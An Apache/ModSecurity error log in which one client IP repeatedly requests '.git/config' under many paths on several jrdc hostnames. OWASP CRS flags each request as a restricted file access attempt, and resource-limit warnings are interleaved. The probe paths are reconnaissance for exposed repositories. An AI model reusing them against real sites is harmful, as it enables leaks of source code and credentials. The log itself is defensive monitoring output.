[Fri Jul 17 08:36:33.889258 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/administrator/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_xwAAAAM"]
[Fri Jul 17 08:36:33.889381 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:33.890025 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOd0t9Kb_MdNxrg6_xwAAAAM"]
[Fri Jul 17 08:36:33.891201 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_yAAAAAM"]
[Fri Jul 17 08:36:33.891506 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_yAAAAAM"]
[Fri Jul 17 08:36:33.892152 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOd0t9Kb_MdNxrg6_yAAAAAM"]
[Fri Jul 17 08:36:33.895505 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/app/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_yQAAAAM"]
[Fri Jul 17 08:36:33.895785 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/app/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_yQAAAAM"]
[Fri Jul 17 08:36:33.895911 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:33.896616 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almcOd0t9Kb_MdNxrg6_yQAAAAM"]
[Fri Jul 17 08:36:33.897551 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_ygAAAAM"]
[Fri Jul 17 08:36:33.897777 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_ygAAAAM"]
[Fri Jul 17 08:36:33.898293 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOd0t9Kb_MdNxrg6_ygAAAAM"]
[Fri Jul 17 08:36:34.000496 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_zAAAAAM"]
[Fri Jul 17 08:36:34.000783 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/www/.git/config"] [unique_id "almcOd0t9Kb_MdNxrg6_zAAAAAM"]
[Fri Jul 17 08:36:34.001121 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOd0t9Kb_MdNxrg6_zAAAAAM"]
[Fri Jul 17 08:36:34.003909 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /administrator/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcOt0t9Kb_MdNxrg6_zQAAAAM"]
[Fri Jul 17 08:36:34.004163 2026] [security2:error] [pid 1993574:tid 1993574] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcOt0t9Kb_MdNxrg6_zQAAAAM"]
[Fri Jul 17 08:36:34.467929 2026] [security2:error] [pid 2014256:tid 2014256] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcN4Zvbo7N5o5zeYC7-QAAABw"]
[Fri Jul 17 08:36:34.473515 2026] [security2:error] [pid 2014256:tid 2014256] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOoZvbo7N5o5zeYC7-gAAABw"]
[Fri Jul 17 08:36:34.473912 2026] [security2:error] [pid 2014256:tid 2014256] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/dist/.git/config"] [unique_id "almcOoZvbo7N5o5zeYC7-gAAABw"]
[Fri Jul 17 08:36:34.579171 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPAAAABE"]
[Fri Jul 17 08:36:34.579611 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPAAAABE"]
[Fri Jul 17 08:36:34.579892 2026] [hostinglimits:warn] [pid 2018758:tid 2018758] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018758) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.580158 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOoRpm5MObcED3Q9qPAAAABE"]
[Fri Jul 17 08:36:34.582045 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s0QAAABI"]
[Fri Jul 17 08:36:34.582199 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPQAAABE"]
[Fri Jul 17 08:36:34.582372 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/app/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s0QAAABI"]
[Fri Jul 17 08:36:34.582466 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPQAAABE"]
[Fri Jul 17 08:36:34.582803 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qPQAAABE"]
[Fri Jul 17 08:36:34.583120 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s0QAAABI"]
[Fri Jul 17 08:36:34.584470 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6UwAAABA"]
[Fri Jul 17 08:36:34.586397 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s0gAAABI"]
[Fri Jul 17 08:36:34.586652 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s0gAAABI"]
[Fri Jul 17 08:36:34.586901 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s0gAAABI"]
[Fri Jul 17 08:36:34.590230 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPgAAABE"]
[Fri Jul 17 08:36:34.590539 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /administrator/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s0wAAABI"]
[Fri Jul 17 08:36:34.590626 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/backend/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPgAAABE"]
[Fri Jul 17 08:36:34.590786 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/administrator/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s0wAAABI"]
[Fri Jul 17 08:36:34.591079 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qPgAAABE"]
